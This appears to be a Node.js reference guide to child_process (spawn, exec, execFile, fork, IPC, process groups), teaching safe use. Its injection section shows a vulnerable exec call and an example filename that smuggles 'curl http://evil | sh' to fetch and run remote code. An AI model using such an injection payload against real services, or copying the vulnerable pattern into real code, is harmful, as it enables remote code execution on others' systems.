Node.js child_process: spawn, exec, fork, and IPC Channels
spawn streams and never uses a shell; exec buffers through /bin/sh and is the injection surface. fork adds an IPC channel, and killing a tree needs a process group.

Quick Summary
node:child_process starts other programs. spawn runs a command with an argument array and no shell; exec runs a shell and buffers its output; execFile runs a binary directly with arguments; fork starts another Node process with an IPC channel attached.
The choice follows from two questions. Does the command need shell features (pipes, globs, &&)? And does the output fit in memory? spawn answers "no" and "streaming", which makes it the safe default. exec answers "yes" and "buffered up to maxBuffer", which makes it convenient and, with untrusted input, an injection risk.
All four are asynchronous except their *Sync twins, which block the event loop for the whole lifetime of the child. A CLI can afford that; a request handler cannot.
Basic Syntax and Core Signatures
import { spawn, exec, execFile, fork } from 'node:child_process';
import { promisify } from 'node:util';
const execP = promisify(exec);
const execFileP = promisify(execFile);
// spawn: streaming, no shell
const child = spawn('git', ['log', '--oneline', '-5'], {
cwd: '/repo',
env: { ...process.env, GIT_PAGER: 'cat' },
stdio: ['ignore', 'pipe', 'pipe'],
shell: false,
windowsHide: true,
timeout: 30_000,
killSignal: 'SIGTERM',
signal: abortController.signal,
});
child.stdout.on('data', (d) => process.stdout.write(d));
child.stderr.on('data', (d) => process.stderr.write(d));
child.on('error', (err) => console.error('failed to start', err.code));
child.on('close', (code, signal) => console.log({ code, signal }));
// exec: shell, buffered
const { stdout, stderr } = await execP('ls -la | wc -l', { maxBuffer: 4 * 1024 * 1024 });
// execFile: no shell, buffered
const { stdout: out } = await execFileP('node', ['--version']);
// fork: Node child with IPC
const worker = fork('./job.js', ['--id', '42'], { stdio: ['ignore', 'inherit', 'inherit', 'ipc'] });
worker.send({ task: 'resize', size: 128 });
worker.on('message', (msg) => console.log('from child', msg));
worker.on('exit', (code) => console.log('exited', code));// In the forked child (job.js)
process.on('message', async (msg) => {
process.send({ ok: true, echo: msg.task });
});
process.on('disconnect', () => process.exit(0));Key Comparison Table
| API | Shell | Output handling | Args escaping | Use for |
|---|---|---|---|---|
spawn | No (unless shell: true) | Streams | None needed | Long output, servers, piping |
exec | Yes (/bin/sh -c) | Buffered string, maxBuffer | You must quote | Short shell pipelines |
execFile | No | Buffered string | None needed | A known binary with args |
fork | No, Node binary | Streams + IPC | N/A | Parallel Node work with messaging |
spawnSync | No | Buffered | None | CLI startup, tests |
| Option | Effect | Default |
|---|---|---|
cwd | Working directory of the child | Parent's cwd |
env | Replaces the environment | process.env |
stdio | 'pipe', 'ignore', 'inherit', or an array | 'pipe' |
shell | Run through a shell | false |
detached | New process group, survives the parent | false |
timeout | Kill after N ms with killSignal | none |
maxBuffer | Output cap for exec/execFile | 1 MiB |
signal | AbortSignal to kill the child | none |
Practical Edge Cases and Deep Dives
1. The shell is the injection surface
// Vulnerable: filename comes from a request
exec(`convert ${filename} out.png`);
// filename = "a.png; curl http://evil | sh" -> arbitrary code
// Safe: no shell, arguments passed as an array
execFile('convert', [filename, 'out.png']);
spawn('convert', [filename, 'out.png']);Every character in a shell string is syntax to something; exec with interpolated input is the equivalent of string-concatenated SQL. execFile and spawn pass argv directly to execve, so ;, $(), backticks, and spaces in a filename are just data. When shell features are genuinely required, quote with a dedicated function (shell-quote) rather than hand-rolled escaping, and prefer a fixed command with variable arguments over a variable command string.
2. env replaces, it does not merge
spawn('node', ['build.js'], { env: { NODE_ENV: 'production' } });
// child has no PATH, no HOME, no custom variables: often fails with ENOENT
spawn('node', ['build.js'], { env: { ...process.env, NODE_ENV: 'production' } });env is the child's complete environment, not a patch. With only NODE_ENV set, spawn cannot even find the executable on some systems, and npm scripts fail looking for sh. The merge form is the correct default, with the explicit caveat that copying process.env passes secrets along — a child that runs untrusted tooling should get a deliberately reduced environment.
3. exec and maxBuffer
await execP('find / -type f'); // Error: stdout maxBuffer length exceededexec accumulates stdout and stderr in memory and kills the child once either exceeds maxBuffer (1 MiB by default since Node 12), failing with ERR_CHILD_PROCESS_STDIO_MAXBUFFER. Raising the limit moves the problem rather than solving it; spawn with a stream, or execFile piped into a parser, keeps memory flat. A find over a large tree is the canonical case: the count is unbounded and the failure appears only on the machine with the most files.
4. Windows, .cmd, and the shell requirement
spawn('npm', ['test']); // Windows: ENOENT after the 2024 fix
spawn('npm.cmd', ['test'], { shell: true }); // works, and needs quoting careSince the CVE-2024-27980 fix, Node refuses to spawn .bat and .cmd files without a shell, so spawn('npm') breaks on Windows where it used to work. The portable pattern is spawn(process.platform === 'win32' ? 'npm.cmd' : 'npm', args, { shell: process.platform === 'win32' }) — and once shell: true is on, argument quoting matters again. Recent Node releases print a deprecation warning (DEP0190) when shell: true is combined with an argument array precisely because that combination is unescaped.
5. Killing a tree, not a process
const child = spawn('sh', ['-c', 'watch -n1 date'], { detached: true, stdio: 'ignore' });
process.kill(-child.pid, 'SIGTERM'); // signal the whole process groupchild.kill() signals one process. A shell script that starts its own children leaves them running as orphans when only the shell receives the signal — the classic "the build finished but the dev server still holds port 3000". On POSIX, detached: true puts the child in its own process group, so process.kill(-pid) reaches every descendant. On Windows the equivalent needs taskkill /T /F via execFile. Containers hit the same issue at the top: the container's PID 1 must reap children, which is what tini or --init provides.
6. IPC serialisation between forked processes
const child = fork('./job.js', [], { serialization: 'advanced' });
child.send({ when: new Date(), buf: Buffer.from('x'), map: new Map([['a', 1]]) });The default json serialisation supports only JSON-safe values — Date becomes a string, Buffer becomes { type: 'Buffer', data: [...] }, a Map becomes {}, and circular structures throw. serialization: 'advanced' uses the structured clone algorithm, which preserves those types and handles cycles, at the cost of requiring it on both sides of the channel. Messages are copied, never shared: for large payloads the IPC channel is the bottleneck, and a SharedArrayBuffer or a worker thread is the right answer instead.
Common Node.js Runtime Mistakes
| Symptom | Cause | Fix |
|---|---|---|
ENOENT on a command that works in a terminal | env replaced, or executable not on the child's PATH | Merge process.env, use an absolute path |
stdout maxBuffer length exceeded | exec on unbounded output | spawn and stream |
ERR_CHILD_PROCESS_STDIO_MAXBUFFER in CI only | Bigger outputs there | Same fix, do not raise blindly |
| Child keeps running after the parent exits | Grandchildren orphaned | detached + kill the group, or a supervisor |
spawn npm ENOENT on Windows | .cmd requires a shell | shell: true with quoting, or npm.cmd |
code is null in close | Process was killed by a signal | Read signal |
| Output lost from a short-lived child | exit used instead of close | Wait for close, which follows stdio end |
Error: write EPIPE | Child exited before the write | Handle 'error' on stdin |
IPC message arrives as { type: 'Buffer' } | Default json serialisation | serialization: 'advanced' |
| Event loop stalls for seconds | *Sync variant used in a request path | Async API, or a worker |
Try matching browser tools
All toolsSmall utilities that fit Node.js work — they run entirely in this browser tab, so nothing you paste leaves your device.
Related Node.js guides
All Node.js guidesNode.js EventEmitter: once, error Events, and Listener Memory Leaks
emit is synchronous, so a throwing listener aborts the rest. An error event with no listener crashes the process, and a listener per request is the classic leak.
Node.js fs/promises: Read, Write, Watch, and Atomic File Operations
writeFile truncates before writing, so a crash leaves half a file. The atomic pattern is temp file, fsync, rename; readFile loads everything, so large files need streams.
Node.js Streams: Readable, Writable, Transform, and pipeline
pipe() forwards data but not errors; pipeline() destroys the chain and rejects. Backpressure is the false return from write(), and _flush that never calls back hangs forever.
Node.js crypto: Hashing, HMAC, AES-GCM, and Random Bytes
Hashing, HMAC, AES-256-GCM and randomness solve different problems. Never reuse a GCM nonce, never hash a password with sha256, and compare secrets with timingSafeEqual.
More in Node.js
All Node.js guidesThe guides filed next to this one in Node.js, in library order.